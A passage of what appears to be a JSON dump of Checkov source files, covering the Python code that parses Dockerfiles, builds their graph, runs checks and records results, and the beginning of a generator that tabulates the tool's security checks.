    "content": "from __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\nfrom checkov.dockerfile.graph_builder.local_graph import DockerfileLocalGraph\nfrom checkov.dockerfile.utils import get_scannable_file_paths, get_files_definitions\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n\n\nclass DockerfileGraphManager(GraphManager[DockerfileLocalGraph, \"dict[str, dict[str, list[_Instruction]]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.DOCKERFILE) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[DockerfileLocalGraph] = DockerfileLocalGraph,\n        render_variables: bool = True,\n        parsing_errors: Optional[dict[str, Exception]] = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> tuple[DockerfileLocalGraph, dict[str, dict[str, list[_Instruction]]]]:\n        file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths)\n        filepath_fn = lambda f: f\"/{os.path.relpath(f, os.path.commonprefix((source_dir, f)))}\"\n        definitions, _ = get_files_definitions(files=file_paths, filepath_fn=filepath_fn)\n\n        local_graph = self.build_graph_from_definitions(definitions=definitions)\n\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n        self,\n        definitions: dict[str, dict[str, list[_Instruction]]],\n        render_variables: bool = False,\n    ) -> DockerfileLocalGraph:\n        local_graph = DockerfileLocalGraph(definitions=definitions)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph\n"
  },
  {
    "path": "checkov/dockerfile/image_referencer/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/dockerfile/image_referencer/manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom checkov.dockerfile.image_referencer.provider import DockerfileProvider\n\nif TYPE_CHECKING:\n    from checkov.common.images.image_referencer import Image\n    from dockerfile_parse.parser import _Instruction\n\n\nclass DockerfileImageReferencerManager:\n    __slots__ = (\"definitions\",)\n\n    def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None:\n        self.definitions = definitions\n\n    def extract_images_from_resources(self) -> list[Image]:\n        provider = DockerfileProvider(definitions=self.definitions)\n\n        images = provider.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/dockerfile/image_referencer/provider.py",
    "content": "from __future__ import annotations\n\nimport os\nfrom typing import TYPE_CHECKING, Callable, Any\n\nfrom checkov.common.images.image_referencer import Image\nfrom checkov.common.util.str_utils import removeprefix\nfrom checkov.dockerfile.utils import DOCKERFILE_STARTLINE, DOCKERFILE_ENDLINE\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction\n    from typing_extensions import TypeAlias\n\n_ExtractImagesCallableAlias: TypeAlias = Callable[[\"dict[str, Any]\"], \"list[str]\"]\n\n\nclass DockerfileProvider:\n    __slots__ = (\"definitions\",)\n\n    def __init__(self, definitions: dict[str, dict[str, list[_Instruction]]]) -> None:\n        self.definitions = definitions\n\n    def extract_images_from_resources(self) -> list[Image]:\n        images = []\n\n        for file_path, config in self.definitions.items():\n            instructions = config.get(\"FROM\")\n            if not isinstance(instructions, list):\n                continue\n\n            # just scan the last one\n            instruction = instructions[-1]\n\n            name = instruction[\"value\"]\n\n            if name.startswith(\"--platform\"):\n                # indicates a multi-platform build, therefore skip it\n                # ex. FROM --platform=$BUILDPLATFORM golang:alpine AS build\n                continue\n\n            if \" AS \" in name:\n                # indicates a multi-stage build, therefore remove everything starting from AS\n                # ex. FROM amazonlinux:2 as run\n                name = name.split(\" AS \")[0]\n\n            file_path = f'{removeprefix(file_path, os.getenv(\"BC_ROOT_DIR\", \"\"))}'\n            images.append(\n                Image(\n                    file_path=file_path,\n                    name=name,\n                    start_line=instruction[DOCKERFILE_STARTLINE] + 1,  # starts with 0\n                    end_line=instruction[DOCKERFILE_ENDLINE] + 1,\n                    related_resource_id=f'{file_path}:{file_path}.FROM',\n                )\n            )\n\n        return images\n"
  },
  {
    "path": "checkov/dockerfile/parser.py",
    "content": "from __future__ import annotations\n\nfrom collections import OrderedDict\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\nimport io\n\nfrom dockerfile_parse import DockerfileParser\nfrom dockerfile_parse.constants import COMMENT_INSTRUCTION\n\nfrom checkov.common.typing import _SkippedCheck\nfrom checkov.common.util.suppression import collect_suppressions_for_context\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n\n\ndef parse(filename: str | Path) -> tuple[dict[str, list[_Instruction]], list[str]]:\n    with open(filename) as dockerfile:\n        content = dockerfile.read()\n        converted_content = convert_multiline_commands(content)\n        dfp = DockerfileParser(fileobj=io.StringIO(converted_content))\n        return dfp_group_by_instructions(dfp)\n\n\ndef dfp_group_by_instructions(dfp: DockerfileParser) -> tuple[dict[str, list[_Instruction]], list[str]]:\n    result: dict[str, list[_Instruction]] = OrderedDict()\n    for instruction in dfp.structure:\n        instruction_literal = instruction[\"instruction\"]\n        if instruction_literal not in result:\n            result[instruction_literal] = []\n        result[instruction_literal].append(instruction)\n    return result, dfp.lines\n\n\ndef collect_skipped_checks(parse_result: dict[str, list[_Instruction]]) -> list[_SkippedCheck]:\n    skipped_checks = []\n\n    if COMMENT_INSTRUCTION in parse_result:\n        # line number doesn't matter\n        comment_lines = [(0, comment[\"value\"]) for comment in parse_result[COMMENT_INSTRUCTION]]\n        skipped_checks = collect_suppressions_for_context(code_lines=comment_lines)\n\n    return skipped_checks\n\n\ndef convert_multiline_commands(dockerfile_content: str) -> str:\n    lines = dockerfile_content.splitlines()\n    converted_lines = []\n    in_multiline = False\n    multiline_command: list[str] = []\n\n    for line in lines:\n        if line.strip().startswith('RUN <<EOF'):\n            in_multiline = True\n            continue\n        elif in_multiline and line.strip() == 'EOF':\n            in_multiline = False\n            converted_lines.append(f\"RUN {' && '.join(multiline_command)}\")\n            multiline_command = []\n        elif in_multiline:\n            multiline_command.append(line.strip())\n        else:\n            converted_lines.append(line)\n\n    return '\\n'.join(converted_lines)\n"
  },
  {
    "path": "checkov/dockerfile/registry.py",
    "content": "from checkov.dockerfile.base_registry import Registry\n\nregistry = Registry()\n"
  },
  {
    "path": "checkov/dockerfile/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.typing import LibraryGraphConnector\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.images.image_referencer import ImageReferencerMixin\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.common.typing import _CheckResult\nfrom checkov.dockerfile.graph_builder.local_graph import DockerfileLocalGraph\nfrom checkov.dockerfile.graph_manager import DockerfileGraphManager\nfrom checkov.dockerfile.image_referencer.manager import DockerfileImageReferencerManager\nfrom checkov.dockerfile.parser import collect_skipped_checks\nfrom checkov.dockerfile.registry import registry\nfrom checkov.dockerfile.utils import (\n    DOCKERFILE_STARTLINE,\n    DOCKERFILE_ENDLINE,\n    get_files_definitions,\n    get_scannable_file_paths,\n    get_abs_path,\n    build_definitions_context,\n)\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n    from networkx import DiGraph\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.images.image_referencer import Image\n\n_DockerfileContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_DockerfileDefinitions: TypeAlias = \"dict[str, dict[str, list[_Instruction]]]\"\n\n\nclass Runner(ImageReferencerMixin[_DockerfileDefinitions], BaseRunner[_DockerfileDefinitions, _DockerfileContext, DockerfileGraphManager]):\n    check_type = CheckType.DOCKERFILE  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = GraphSource.DOCKERFILE,\n        graph_class: type[DockerfileLocalGraph] = DockerfileLocalGraph,\n        graph_manager: DockerfileGraphManager | None = None,\n    ) -> None:\n\n        super().__init__()\n        db_connector = db_connector or self.db_connector\n        self.graph_class = graph_class\n        self.graph_manager = (\n            graph_manager if graph_manager else DockerfileGraphManager(source=source, db_connector=db_connector)\n        )\n        self.graph_registry = get_graph_checks_registry(self.check_type)\n\n        self.context: _DockerfileContext = {}\n        self.definitions: _DockerfileDefinitions = {}\n        self.definitions_raw: \"dict[str, list[str]]\" = {}       # type:ignore[assignment]\n        self.root_folder: str | None = None\n\n    def should_scan_file(self, filename: str) -> bool:\n        return is_dockerfile(os.path.basename(filename))\n\n    def run(\n        self,\n        root_folder: str | None = None,\n        external_checks_dir: list[str] | None = None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None,\n        collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n\n        if not self.context or not self.definitions:\n            files_list: \"Iterable[str]\" = []\n            filepath_fn = None\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    registry.load_external_checks(directory)\n\n                    if self.graph_registry:\n                        self.graph_registry.load_external_checks(directory)\n\n            if files:\n                files_list = [file for file in files if is_dockerfile(os.path.basename(file))]\n\n            if root_folder:\n                filepath_fn = lambda f: f\"/{os.path.relpath(f, os.path.commonprefix((root_folder, f)))}\"\n                self.root_folder = root_folder\n\n                files_list = get_scannable_file_paths(root_folder=root_folder, excluded_paths=runner_filter.excluded_paths)\n\n            self.definitions, self.definitions_raw = get_files_definitions(files_list, filepath_fn)\n\n            self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n\n            if self.graph_registry and self.graph_manager:\n                logging.info(\"Creating Dockerfile graph\")\n                local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions)\n                logging.info(\"Successfully created Dockerfile graph\")\n\n                self.graph_manager.save_graph(local_graph)\n\n        self.pbar.initiate(len(self.definitions))\n\n        # run Python checks\n        self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder)\n\n        # run graph checks\n        if self.graph_registry:\n            self.add_graph_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder)\n\n        if runner_filter.run_image_referencer:\n            if files:\n                # 'root_folder' shouldn't be empty to remove the whole path later and only leave the shortened form\n                root_folder = os.path.split(os.path.commonprefix(files))[0]\n\n            image_report = self.check_container_image_references(\n                root_path=root_folder,\n                runner_filter=runner_filter,\n                definitions=self.definitions,\n            )\n\n            if image_report:\n                # due too many tests failing only return a list, if there is an image report\n                return [report, image_report]\n\n        return report\n\n    def add_python_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None:\n        \"\"\"Adds Python check results to given report\"\"\"\n\n        for dockerfile_path, instructions in self.definitions.items():\n            self.pbar.set_additional_data({\"Current File Scanned\": os.path.relpath(dockerfile_path, root_folder)})\n\n            file_abs_path = get_abs_path(root_folder=root_folder, file_path=dockerfile_path)\n            report.add_resource(file_abs_path)\n            skipped_checks = collect_skipped_checks(instructions)\n\n            results = registry.scan(dockerfile_path, instructions, skipped_checks, runner_filter)\n\n            if results:\n                for check, check_result in results.items():\n                    result_configuration = check_result[\"results_configuration\"]\n                    startline = 0\n                    endline = len(self.definitions_raw[dockerfile_path]) - 1\n                    result_instruction = \"\"\n                    if result_configuration:\n                        if isinstance(result_configuration, list):\n                            for res in result_configuration:\n                                startline = res[DOCKERFILE_STARTLINE]\n                                endline = res[DOCKERFILE_ENDLINE]\n                                result_instruction = res[\"instruction\"]\n                                self.build_record(\n                                    report,\n                                    self.definitions_raw,\n                                    dockerfile_path,\n                                    file_abs_path,\n                                    check,\n                                    check_result,\n                                    startline,\n                                    endline,\n                                    result_instruction,\n                                )\n                        else:\n                            startline = result_configuration[DOCKERFILE_STARTLINE]\n                            endline = result_configuration[DOCKERFILE_ENDLINE]\n                            result_instruction = result_configuration[\"instruction\"]\n                            self.build_record(\n                                report,\n                                self.definitions_raw,\n                                dockerfile_path,\n                                file_abs_path,\n                                check,\n                                check_result,\n                                startline,\n                                endline,\n                                result_instruction,\n                            )\n                    else:\n                        self.build_record(\n                            report,\n                            self.definitions_raw,\n                            dockerfile_path,\n                            file_abs_path,\n                            check,\n                            check_result,\n                            startline,\n                            endline,\n                            result_instruction,\n                        )\n            else:\n                report.extra_resources.add(\n                    ExtraResource(\n                        file_abs_path=file_abs_path,\n                        file_path=dockerfile_path,\n                        resource=dockerfile_path,\n                    )\n                )\n\n            self.pbar.update()\n        self.pbar.close()\n\n    def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None:\n        \"\"\"Adds graph check results to given report\"\"\"\n\n        graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type)\n\n        for check, check_results in graph_checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path: str = entity[CustomAttributes.FILE_PATH]\n                file_abs_path = get_abs_path(root_folder=root_folder, file_path=entity_file_path)\n                resource_type: str = entity[CustomAttributes.RESOURCE_TYPE]\n                start_line = entity[START_LINE]\n                end_line = entity[END_LINE]\n\n                self.build_record(\n                    report=report,\n                    definitions_raw=self.definitions_raw,\n                    dockerfile_path=entity_file_path,\n                    file_abs_path=file_abs_path,\n                    check=check,\n                    check_result=check_result,\n                    startline=start_line,\n                    endline=end_line,\n                    result_instruction=resource_type,\n                )\n\n    def calc_record_codeblock(\n        self,\n        codeblock: list[tuple[int, str]],\n        definitions_raw: dict[str, list[str]],\n        dockerfile_path: str,\n        endline: int,\n        startline: int,\n    ) -> None:\n        for line in range(startline, endline + 1):\n            codeblock.append((line + 1, definitions_raw[dockerfile_path][line]))\n\n    def build_record(\n        self,\n        report: Report,\n        definitions_raw: dict[str, list[str]],\n        dockerfile_path: str,\n        file_abs_path: str,\n        check: BaseCheck | BaseGraphCheck,\n        check_result: _CheckResult,\n        startline: int,\n        endline: int,\n        result_instruction: str,\n    ) -> None:\n        codeblock: list[tuple[int, str]] = []\n\n        if result_instruction:\n            entity_context = next(\n                (\n                    resource\n                    for resource in self.context[dockerfile_path][result_instruction]\n                    if resource[\"start_line\"] == startline + 1\n                ),\n                None,\n            )\n            if entity_context:\n                codeblock = entity_context[\"code_lines\"]\n                skipped_check = next(\n                    (\n                        skipped_check\n                        for skipped_check in entity_context.get(\"skipped_checks\", [])\n                        if skipped_check[\"id\"] in (check.id, check.bc_id)\n                    ),\n                    None,\n                )\n                if skipped_check:\n                    check_result[\"result\"] = CheckResult.SKIPPED\n                    check_result[\"suppress_comment\"] = skipped_check.get(\"suppress_comment\", \"\")\n            else:\n                logging.info(f\"Could not find context for resource with start line {startline + 1} in {self.context[dockerfile_path][result_instruction]}\")\n        else:\n            self.calc_record_codeblock(codeblock, definitions_raw, dockerfile_path, endline, startline)\n\n        record = Record(\n            check_id=check.id,\n            bc_check_id=check.bc_id,\n            check_name=check.name,\n            check_result=check_result,\n            code_block=codeblock,\n            file_path=dockerfile_path,\n            file_line_range=[startline + 1, endline + 1],\n            resource=f\"{dockerfile_path}.{result_instruction}\",\n            evaluations=None,\n            check_class=check.__class__.__module__,\n            file_abs_path=file_abs_path,\n            entity_tags=None,\n            severity=check.severity,\n        )\n        record.set_guideline(check.guideline)\n        report.add_record(record=record)\n\n    def extract_images(\n        self,\n        graph_connector: DiGraph | None = None,\n        definitions: dict[str, dict[str, list[_Instruction]]] | None = None,\n        definitions_raw: dict[str, list[tuple[int, str]]] | None = None,\n    ) -> list[Image]:\n        if not definitions:\n            # should not happen\n            return []\n\n        manager = DockerfileImageReferencerManager(definitions=definitions)\n        images = manager.extract_images_from_resources()\n\n        return images\n"
  },
  {
    "path": "checkov/dockerfile/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Callable, Any, Literal\n\nfrom dockerfile_parse.constants import COMMENT_INSTRUCTION\n\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.common.util.dockerfile import is_dockerfile\nfrom checkov.common.util.suppression import collect_suppressions_for_context\nfrom checkov.dockerfile.parser import parse\n\nif TYPE_CHECKING:\n    from dockerfile_parse.parser import _Instruction  # only in extra_stubs\n\nDOCKERFILE_STARTLINE: Literal[\"startline\"] = \"startline\"\nDOCKERFILE_ENDLINE: Literal[\"endline\"] = \"endline\"\nDOCKERFILE_VALUE: Literal[\"value\"] = \"value\"\n\n\ndef get_scannable_file_paths(\n    root_folder: str | Path | None = None, excluded_paths: list[str] | None = None\n) -> set[str]:\n    \"\"\"Finds Dockerfiles\"\"\"\n\n    file_paths: \"set[str]\" = set()\n    if not root_folder:\n        return file_paths\n\n    for root, d_names, f_names in os.walk(root_folder):\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            if is_dockerfile(file):\n                file_path = os.path.join(root, file)\n                file_paths.add(file_path)\n\n    return file_paths\n\n\ndef get_files_definitions(\n    files: Iterable[str], filepath_fn: Callable[[str], str] | None = None\n) -> tuple[dict[str, dict[str, list[_Instruction]]], dict[str, list[str]]]:\n    \"\"\"Parses Dockerfiles into its definitions and raw data\"\"\"\n\n    definitions = {}\n    definitions_raw = {}\n\n    for file in files:\n        try:\n            result = parse(file)\n\n            path = filepath_fn(file) if filepath_fn else file\n            definitions[path], definitions_raw[path] = result\n        except TypeError:\n            logging.info(f\"Dockerfile skipping {file} as it is not a valid dockerfile template\")\n        except UnicodeDecodeError:\n            logging.info(f\"Dockerfile skipping {file} as it can't be read as text file\")\n\n    return definitions, definitions_raw\n\n\ndef get_abs_path(root_folder: str | None, file_path: str) -> str:\n    \"\"\"Creates the abs path\n\n    There are a few cases here. If -f was used, there could be a leading / because it's an absolute path,\n    or there will be no leading slash; root_folder will always be none.\n    If -d is used, root_folder will be the value given, and -f will start with a / (hardcoded above).\n    The goal here is simply to get a valid path to the file (which dockerfile_path does not always give).\n    \"\"\"\n\n    if root_folder and file_path.startswith(\"/\"):\n        # remove the leading slash, if it exists\n        file_path = file_path[1:]\n\n    path_to_convert = os.path.join(root_folder, file_path) if root_folder else file_path\n\n    return os.path.abspath(path_to_convert)\n\n\ndef build_definitions_context(\n    definitions: dict[str, dict[str, list[_Instruction]]],\n    definitions_raw: dict[str, list[str]]\n) -> dict[str, dict[str, Any]]:\n    definitions_context: dict[str, dict[str, Any]] = {}\n\n    for file_path, definition in definitions.items():\n        file_path = str(file_path)\n        definitions_context[file_path] = {}\n        skipped_checks = []\n        if COMMENT_INSTRUCTION in definition:\n            # collect skipped check comments\n            comments = definition[COMMENT_INSTRUCTION]\n            comment_lines = [(comment[DOCKERFILE_STARTLINE], comment[DOCKERFILE_VALUE]) for comment in comments]\n            skipped_checks = collect_suppressions_for_context(code_lines=comment_lines)\n\n        for instruction_name, instructions in definition.items():\n            if instruction_name == COMMENT_INSTRUCTION:\n                continue\n\n            definitions_context[file_path][instruction_name] = []\n            for instruction in instructions:\n                start_line = instruction[DOCKERFILE_STARTLINE]\n                end_line = instruction[DOCKERFILE_ENDLINE]\n                code_lines = [\n                    (line + 1, definitions_raw[file_path][line])\n                    for line in range(start_line, end_line + 1)\n                ]\n                definition_resource = {\n                    \"start_line\": start_line + 1,  # lines start with index 0\n                    \"end_line\": end_line + 1,\n                    \"code_lines\": code_lines,\n                    \"skipped_checks\": skipped_checks,\n                }\n                definitions_context[file_path][instruction_name].append(definition_resource)\n\n    return definitions_context\n"
  },
  {
    "path": "checkov/docs_generator.py",
    "content": "#!/usr/bin/env python\n\nfrom __future__ import annotations\n\nimport os\nimport re\nimport inspect\nfrom typing import List, Optional, Tuple, Union\n\nfrom tabulate import tabulate\n\nfrom checkov.ansible.checks.registry import registry as ansible_registry\nfrom checkov.argo_workflows.checks.registry import registry as argo_workflows_registry\nfrom checkov.arm.registry import arm_resource_registry, arm_parameter_registry\nfrom checkov.azure_pipelines.checks.registry import registry as azure_pipelines_registry\nfrom checkov.bicep.checks.param.registry import registry as bicep_param_registry\nfrom checkov.bicep.checks.resource.registry import registry as bicep_resource_registry\nfrom checkov.bitbucket.registry import registry as bitbucket_configuration_registry\nfrom checkov.bitbucket_pipelines.registry import registry as bitbucket_pipelines_registry\nfrom checkov.circleci_pipelines.registry import registry as circleci_pipelines_registry\nfrom checkov.cloudformation.checks.resource.registry import cfn_registry as cfn_registry\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.checks_infra.registry import BaseRegistry as BaseGraphRegistry, get_graph_checks_registry\nfrom checkov.common.runners.base_runner import strtobool\nfrom checkov.dockerfile.registry import registry as dockerfile_registry\nfrom checkov.github.registry import registry as github_configuration_registry\nfrom checkov.github_actions.checks.registry import registry as github_actions_jobs_registry\nfrom checkov.gitlab.registry import registry as gitlab_configuration_registry\nfrom checkov.gitlab_ci.checks.registry import registry as gitlab_ci_jobs_registry\nfrom checkov.kubernetes.checks.resource.registry import registry as k8_registry\nfrom checkov.secrets.runner import CHECK_ID_TO_SECRET_TYPE\nfrom checkov.serverless.registry import sls_registry\nfrom checkov.terraform.checks.data.registry import data_registry\nfrom checkov.terraform.checks.module.registry import module_registry\nfrom checkov.terraform.checks.provider.registry import provider_registry\nfrom checkov.terraform.checks.resource.registry import resource_registry\nfrom checkov.openapi.checks.registry import openapi_registry\nfrom checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration\nfrom checkov.runner_filter import RunnerFilter\n\nID_PARTS_PATTERN = re.compile(r'([^_]*)_([^_]*)_(\\d+)')\nCODE_LINK_BASE = 'https://github.com/bridgecrewio/checkov/blob/main/checkov'\nCREATE_MARKDOWN_HYPERLINKS = strtobool(os.getenv(\"CHECKOV_CREATE_MARKDOWN_HYPERLINKS\", \"FALSE\"))\nSKIP_CHECK_IDS = {\n    \"CKV_SECRET_10\",  # this is an intermediate step, which is needed for another check\n}\n\n\ndef get_compare_key(c: list[str] | tuple[str, ...]) -> list[tuple[str, str, int, int, str]]:\n    res = []\n    for match in ID_PARTS_PATTERN.finditer(c[0]):\n        ckv, framework, number = match.groups()\n        numeric_value = int(number) if number else 0\n        # count number of leading zeros\n        same_number_ordering = len(number) - len(number.lstrip('0'))\n        res.append((framework, ckv, numeric_value, same_number_ordering, c[2]))\n    return res\n\n\ndef print_checks(frameworks: Optional[List[str]] = None, use_bc_ids: bool = False,\n                 include_all_checkov_policies: bool = True, filtered_policy_ids: Optional[List[str]] = None,\n                 filtered_exception_policy_ids: Optional[List[str]] = None) -> None:\n    framework_list = frameworks if frameworks else [\"all\"]\n    printable_checks_list = get_checks(framework_list, use_bc_ids=use_bc_ids,\n                                       include_all_checkov_policies=include_all_checkov_policies,\n                                       filtered_policy_ids=filtered_policy_ids or [],\n                                       filtered_exception_policy_ids=filtered_exception_policy_ids or [])\n    print(\n        tabulate(printable_checks_list, headers=[\"Id\", \"Type\", \"Entity\", \"Policy\", \"IaC\", \"Resource Link\"], tablefmt=\"github\",\n                 showindex=True))\n    print(\"\\n\\n---\\n\\n\")\n\n\ndef get_check_link(absolute_path: str) -> str:\n    # this will do nothing unless it's a windows path\n    absolute_path = absolute_path.replace('\\\\', '/')\n    temp = absolute_path.split(\"checkov\")\n    # this will even work in the likely event that you're running checkov from a folder called checkov\n    link = f'{CODE_LINK_BASE}{temp[len(temp)-1]}'\n\n    if CREATE_MARKDOWN_HYPERLINKS:\n        return f\"[{absolute_path.rsplit('/', maxsplit=1)[1]}]({link})\"\n\n    return link\n\n\ndef get_checks(frameworks: Optional[List[str]] = None, use_bc_ids: bool = False,\n               include_all_checkov_policies: bool = True, filtered_policy_ids: Optional[List[str]] = None,\n               filtered_exception_policy_ids: Optional[List[str]] = None) -> List[Tuple[str, str, int, int, str, str]]:\n    framework_list = frameworks if frameworks else [\"all\"]\n    printable_checks_list: list[tuple[str, str, str, str, str, str]] = []\n    filtered_policy_ids = filtered_policy_ids or []\n    filtered_exception_policy_ids = filtered_exception_policy_ids or []\n    runner_filter = RunnerFilter(include_all_checkov_policies=include_all_checkov_policies,\n                                 filtered_policy_ids=filtered_policy_ids,\n                                 filtered_exception_policy_ids=filtered_exception_policy_ids)\n\n    def add_from_repository(registry: Union[BaseCheckRegistry, BaseGraphRegistry], checked_type: str, iac: str,\n                            runner_filter: RunnerFilter = runner_filter) -> None:\n        nonlocal printable_checks_list\n        if isinstance(registry, BaseCheckRegistry):\n            for entity, check in registry.all_checks():\n                if runner_filter.should_run_check(check, check.id, check.bc_id, check.severity):\n                    check_link = get_check_link(inspect.getfile(check.__class__))\n                    printable_checks_list.append(\n                        (check.get_output_id(use_bc_ids), checked_type, entity, check.name, iac, check_link))\n        elif isinstance(registry, BaseGraphRegistry):\n            for graph_check in registry.checks:\n                if runner_filter.should_run_check(graph_check, graph_check.id, graph_check.bc_id, graph_check.severity):\n                    if not graph_check.resource_types:\n                        # only for platform custom polices with resource_types == all\n                        graph_check.resource_types = ['all']\n                    for rt in graph_check.resource_types:\n                        if graph_check.check_path:\n                            base_path = graph_check.check_path\n                        else:\n                            base_path = inspect.getfile(graph_check.__class__)\n                        check_link = get_check_link(base_path)\n                        printable_checks_list.append(\n                            (graph_check.get_output_id(use_bc_ids), checked_type, rt, graph_check.name, iac, check_link))\n\n    if any(x in framework_list for x in (\"all\", \"terraform\")):\n        add_from_repository(resource_registry, \"resource\", \"Terraform\")\n        add_from_repository(data_registry, \"data\", \"Terraform\")\n        add_from_repository(provider_registry, \"provider\", \"Terraform\")\n        add_from_repository(module_registry, \"module\", \"Terraform\")\n\n        graph_registry = get_graph_checks_registry(\"terraform\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"Terraform\")\n    if any(x in framework_list for x in (\"all\", \"cloudformation\")):\n        graph_registry = get_graph_checks_registry(\"cloudformation\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"Cloudformation\")\n        add_from_repository(cfn_registry, \"resource\", \"Cloudformation\")\n    if any(x in framework_list for x in (\"all\", \"kubernetes\")):\n        graph_registry = get_graph_checks_registry(\"kubernetes\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"Kubernetes\")\n        add_from_repository(k8_registry, \"resource\", \"Kubernetes\")\n    if any(x in framework_list for x in (\"all\", \"serverless\")):\n        add_from_repository(sls_registry, \"resource\", \"serverless\")\n    if any(x in framework_list for x in (\"all\", \"dockerfile\")):\n        graph_registry = get_graph_checks_registry(\"dockerfile\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"dockerfile\")\n        add_from_repository(dockerfile_registry, \"dockerfile\", \"dockerfile\")\n    if any(x in framework_list for x in (\"all\", \"github_configuration\")):\n        add_from_repository(github_configuration_registry, \"github_configuration\", \"github_configuration\")\n    if any(x in framework_list for x in (\"all\", \"github_actions\")):\n        graph_registry = get_graph_checks_registry(\"github_actions\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"github_actions\")\n        add_from_repository(github_actions_jobs_registry, \"jobs\", \"github_actions\")\n    if any(x in framework_list for x in (\"all\", \"gitlab_ci\")):\n        add_from_repository(gitlab_ci_jobs_registry, \"jobs\", \"gitlab_ci\")\n    if any(x in framework_list for x in (\"all\", \"gitlab_configuration\")):\n        add_from_repository(gitlab_configuration_registry, \"gitlab_configuration\", \"gitlab_configuration\")\n    if any(x in framework_list for x in (\"all\", \"bitbucket_configuration\")):\n        add_from_repository(bitbucket_configuration_registry, \"bitbucket_configuration\", \"bitbucket_configuration\")\n    if any(x in framework_list for x in (\"all\", \"bitbucket_pipelines\")):\n        add_from_repository(bitbucket_pipelines_registry, \"bitbucket_pipelines\", \"bitbucket_pipelines\")\n    if any(x in framework_list for x in (\"all\", \"circleci_pipelines\")):\n        add_from_repository(circleci_pipelines_registry, \"circleci_pipelines\", \"circleci_pipelines\")\n    if any(x in framework_list for x in (\"all\", \"argo_workflows\")):\n        add_from_repository(argo_workflows_registry, \"argo_workflows\", \"Argo Workflows\")\n    if any(x in framework_list for x in (\"all\", \"azure_pipelines\")):\n        add_from_repository(azure_pipelines_registry, \"azure_pipelines\", \"Azure Pipelines\")\n    if any(x in framework_list for x in (\"all\", \"arm\")):\n        graph_registry = get_graph_checks_registry(\"arm\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"arm\")\n        add_from_repository(arm_resource_registry, \"resource\", \"arm\")\n        add_from_repository(arm_parameter_registry, \"parameter\", \"arm\")\n    if any(x in framework_list for x in (\"all\", \"bicep\")):\n        graph_registry = get_graph_checks_registry(\"bicep\")\n        graph_registry.load_checks()\n        add_from_repository(graph_registry, \"resource\", \"Bicep\")\n        add_from_repository(bicep_param_registry, \"parameter\", \"Bicep\")\n        add_from_repository(bicep_resource_registry, \"resource\", \"Bicep\")\n    if any(x in 